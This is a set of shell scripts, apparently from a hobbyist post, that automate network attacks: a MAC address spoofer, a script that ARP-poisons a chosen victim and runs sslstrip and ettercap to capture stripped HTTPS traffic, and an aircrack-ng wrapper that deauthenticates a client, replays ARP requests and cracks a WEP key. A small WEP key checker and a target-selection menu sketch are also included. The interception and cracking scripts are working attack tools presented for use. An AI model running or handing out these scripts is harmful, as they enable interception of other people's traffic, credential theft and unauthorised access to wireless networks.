---

#!/bin/bash
#
# Synopsis: MAC address spoofing utility
# Author:                thims (thims DOT local AT gmail DOT com)
# Version:  0.1
# Date:                        20091104
# Comments:
# ToDo:
#                                - figure out why certain MAC addresss cause ifconfig to exit with error (Error: could not set spoofed MAC address, possibly try running againg)


# Editable variables
iface=wlan0                                                                                                                        #desired interface
origMAC=ff:ff:ff:ff:ff:ff                                                                #original MAC address


### Code Begins ###
spfMAC=
alph=(0 1 2 3 4 5 6 7 8 9 A B C D E F)
alph_len=${#alph[*]}


function help() {
cat << EOF
Usage: $0 [args]
    -h, --help    -  Print this help and exit
    -s, --spoof    -  Spoof MAC address to a randomly generated address
    -u, --unspoof  -  Return spoofed MAC address to original MAC address
EOF
}

function die() {
        if [ -n "$1" ] ;then
                echo "$1"
        fi
        exit 1
}

function genMAC() {
        for i in $(seq 6)
        do
                for x in $(seq 2)
                do
                        spfMAC=${spfMAC}${alph[$((RANDOM % alph_len))]}
                done
                spfMAC=${spfMAC}:
        done
        spfMAC=${spfMAC:0:17}
}

function changeIface() {
        MAC="$1"
       
        ifconfig $iface &> /dev/null
        if [ $? -gt 0 ] ;then
                die "Error: IFACE $iface does not exist(possibly down?)"
        fi


        ifconfig $iface down
        ifconfig $iface inet hw ether $MAC up &> /dev/null
        # the following if is in place because ifconfig was being picky about certain MAC addresss
        if [ $? -gt 0 ] ;then
                die "Error: could not set spoofed MAC address, possibly try running againg"
        fi
}


if [ $UID -gt 0 ] ;then
        die "Error: Sorry dude, gotta be root!"
fi

while [ $# -gt 0 ]
do
        case "$1" in
                "-h"|"--help")
                        help
                        die
                ;;
                "-s"|"--spoof")
                        genMAC
                        changeIface $spfMAC
                ;;
                "-u"|"--unspoof")
                        changeIface $origMAC
                ;;
                *)
                        help
                        die
                ;;
        esac
        shift
done

---

---

#!/bin/bash
#
# Synopsis:        A program to sniff traffic in an SSL connection
# Author:                thims (thims DOT local AT gmail DOT com)
# Version:        0.3
# Date:                        20091107
# Comments:       
#                ToDO:


# leave blank simply here for coding style
victim=
gateway=
sslPort=10000
etterConf=/etc/etter.conf

# print help
function help() {
cat << EOF
Usage: $0 [args] host
    -h, --help    -  Print this help and exit
    -i. --iface    -  Interface to use
    -e, --etconf  -  Location of etter.conf on the filesystem
    -v, --victim  -  IP address of desired host
    -g, --gateway  -  IP address of network gateway
    -s, --sslport  -  Desired port for sslstrip
EOF
}

# echo supplied argument and die
function die() {
        if [ -n "$1" ] ;then
                echo "$1"
        fi
        exit 1
}

# nohup wrapper to check if specified program will execute correctly
function noHup() {
        cmd="$1"
        nohup $cmd > /dev/null &> /dev/null &
        sleep 5
        # here simply to handle sslstrip because it is ran by python it throws off pidof
        if [ $(echo "$cmd" | awk -F" " '{print $1}') == "sslstrip" ] ;then
                pid=$(ps ax | grep python | grep sslstrip | awk -F " " '{print $1}')
        else
                pid=$(pidof $(echo "$1" | awk -F" " '{print $1}'))
        fi

        if [ -z "$pid" ] ;then
                return 1
        else
                return 0
        fi
}

# poison the arp
function spoofMac() {
        echo -n "Poisoning the victim...."
        noHup "arpspoof "$iface" -t "$victim" "$gateway""
        if [ $? -gt 0 ] ;then
                die "Error: could not initiate arpspoof. Dieing..."
        fi
        echo $(pidof arpspoof) > /var/run/sslsniff.arpspoof.run
        echo "Ok"
}

# intercept the SSL cert
function sslInit() {
        echo -n "Setting up SSL intercept...."
        echo 1 > /proc/sys/net/ipv4/ip_forward
        # ensure that ip_forward is set
        while [ $(cat /proc/sys/net/ipv4/ip_forward) == 0 ]
        do
                echo 1 > /proc/sys/net/ipv4/ip_forward
        done

        iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports "$sslPort"
        noHup "sslstrip -a -f -k -l "$sslPort""
        if [ $? -gt 0 ] ;then
                die "Error: could not initiate sslstrip. Dieing..."
        fi
        echo $(ps ax | grep python | grep sslstrip | awk -F " " '{print $1}') > /var/run/sslsniff.sslstrip.run
        echo "Ok"
}

# capture the responses
function capture() {
        # edit ettercap.conf
        for linNum in $(cat "$etterConf" | grep -in redir | grep iptables | awk -F: '{print $1}')
        do
                sed -i $linNum's/#//' "$etterConf"
        done

        echo -n "Starting to sniff...."
        ettercap -T -q "$iface"
}

# clean up enviroment
function cleanUp() {
        echo "Cleaning up...."
        echo -n "Closing SSL proxy...."
        kill $(cat /var/run/sslsniff.sslstrip.run)
        rm /var/run/sslsniff.sslstrip.run
        echo "Ok"
        echo -n "Unpoisoning the victim...."
        kill  -n 2 $(cat /var/run/sslsniff.arpspoof.run)
        rm /var/run/sslsniff.arpspoof.run
        echo "Ok"
        echo -n "Removing iptables rule and ip_forwarding...."
        iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports "$sslPort"       
        echo 0 > /proc/sys/net/ipv4/ip_forward
        echo "Ok"
       
        # return etter.conf to the state it was found in
        echo -n "Returning etter.conf to the configuration we found it with...."
        for linNum in $(cat "$etterConf" | grep -in redir | grep iptables | awk -F: '{print $1}')
        do
                sed -i $linNum's/^/#/' "$etterConf"
        done
        echo "Ok"
        echo "Have a nice day!"
}

# initialize the whole shebang
function initialize() {
  if [ -z "$victim" ] || [ -z "$gateway" ] ;then
    help
    echo
    die "Error: a syntactical one"
        else
                echo "Enviroment details:"
                echo "    Victim:        " "$victim" "  Ok!"
                echo "    Gateway/Router: " "$gateway" "  OK!"
                echo "    Interface:      " "$iface" "  OK!"
                echo "    SSLStrip port:  "        "$sslPort" "  OK!"

    spoofMac
    sslInit
    capture
                cleanUp
  fi 
}


# some CLI ARGS?
while [ $# -gt 0 ]
do
        case "$1" in
                "-h"|"--help")
                        help
                        die
                ;;
                "-v"|"--victim")
                        victim="$2"
                ;;
                "-g"|"--gw")
                        gateway="$2"
                ;;
                "-s"|"--sslport")
                        sslPort="$2"
                ;;
                "-i"|"--iface")
                        if [ $(ifconfig "$2" &> /dev/null; echo $?) == 1 ] ;then
                                die "Error: interface "$2" does not exist!"
                        else
                                iface="-i $2"
                        fi
                ;;
                "-e"|"--etconf")
                        if [ ! -e "$2" ] ;then
                                die "Error: specified ettercap conf does not exist!"
                        else
                                etterConf="$2"
                        fi
                ;;
                '')
                        help
                        echo
                        die "Error: a syntactical one"
                ;;
                -*)
                        help
                        echo
                        die "Error: a syntactical one"
                ;;
        esac
        shift
done


# main loop
initialize

---

---

#!/bin/bash

clear
echo -n "WEP Key: ?"

while read key; do
    if [ -z "${key}" ]; then
        clear 
        echo "That was empty, do it again!"
        echo -n "WEP Key: ?"
    else
          echo "Checking now..."
          break
    fi
done

iwconfig wlan0 key $key >/dev/null 2>&1

if [ $? != 0 ]; then
        echo "Your key is `echo ${#key}` characters long"
        echo "It should be : a) 10 or 26 ASCII characters long"
        echo "          or : b) 5 or 13 HEX characters long"
else
        echo "Valid key"
fi

---

---

#!/bin/bash
device=wlan0
driver=rt73usb
fake=00:11:22:33:44:55
enc=1

airmon-ng stop $device
ifconfig $device down
rmmod $driver
modprobe $driver
macchanger --mac 00:11:22:33:44:55 $device
iwconfig $device mode monitor
ifconfig $device up
airmon-ng start $device
airmon-ng stop mon0
sudo rm *.txt
sudo rm *.cap
sudo rm *.sh~
sudo rm *.arp-request
sudo rm *.ivs
sudo rm *.xor
sudo rm *.csv
clear

echo ""
echo "      ___________________________________________________  "
echo "    |                                                  | "
echo "    | chose your target, write down the ESSID,BSSID,ENC | "
echo "    | CH,and STATION. Once done close 'MONITOR' konsole | "
echo "    | and follow the instruction... have a nice day :-) | "
echo "    |___________________________________________________| "
echo ""

  konsole -T MONITOR --noclose -e airodump-ng $device

echo ""
read -p  "  A. CHANNEL (CH).......................?  " ch
read -p  "  B. ESSID..............................?  " essid
read -p  "  C. BSSID  xx:xx:xx:xx:xx:xx .........?  " bssid
read -p  "  D. STATION xx:xx:xx:xx:xx:xx .........?  " station
echo ""

if [ $enc = 1 ]
then
airmon-ng start $device $ch
airmon-ng stop mon0

iwconfig $device rate 1M

 konsole -T table-A --noclose -e airodump-ng -c $ch --write key --bssid $bssid $device &
sleep 3
 konsole -T table-B --noclose -e aireplay-ng -1 6000 -q 10 -o 1 -a $bssid -e $essid -h $fake $device &
sleep 10
 konsole -T table-C --noclose -e aireplay-ng -3 -b $bssid -e $essid -h $fake $device &
sleep 10
konsole -T table-FLASH -e aireplay-ng -0 50 -a $bssid -c $station -h $fake $device &
sleep 15
clear
echo "    please wait.........  "
echo "    do not close any konsole until you got thr password at table-D  "
sleep 30
        konsole -T table-D -e aircrack-ng key-01.cap
clear
echo ""
echo "  :-) "
exit
fi

---

---

    choose your AP target

          esssid        enc
      a. aztech1      (wep)  1
      b. aztech2      (wpa)  2
      c. aztech3      (opn)  3


    chose your client

          essid      station
          aztech1    xx:xx:xx:xx:xx:xx  1
                      xx:xx:xx:xx:xx:xx  2
                      xx:xx:xx:xx:Xx:xx  3

---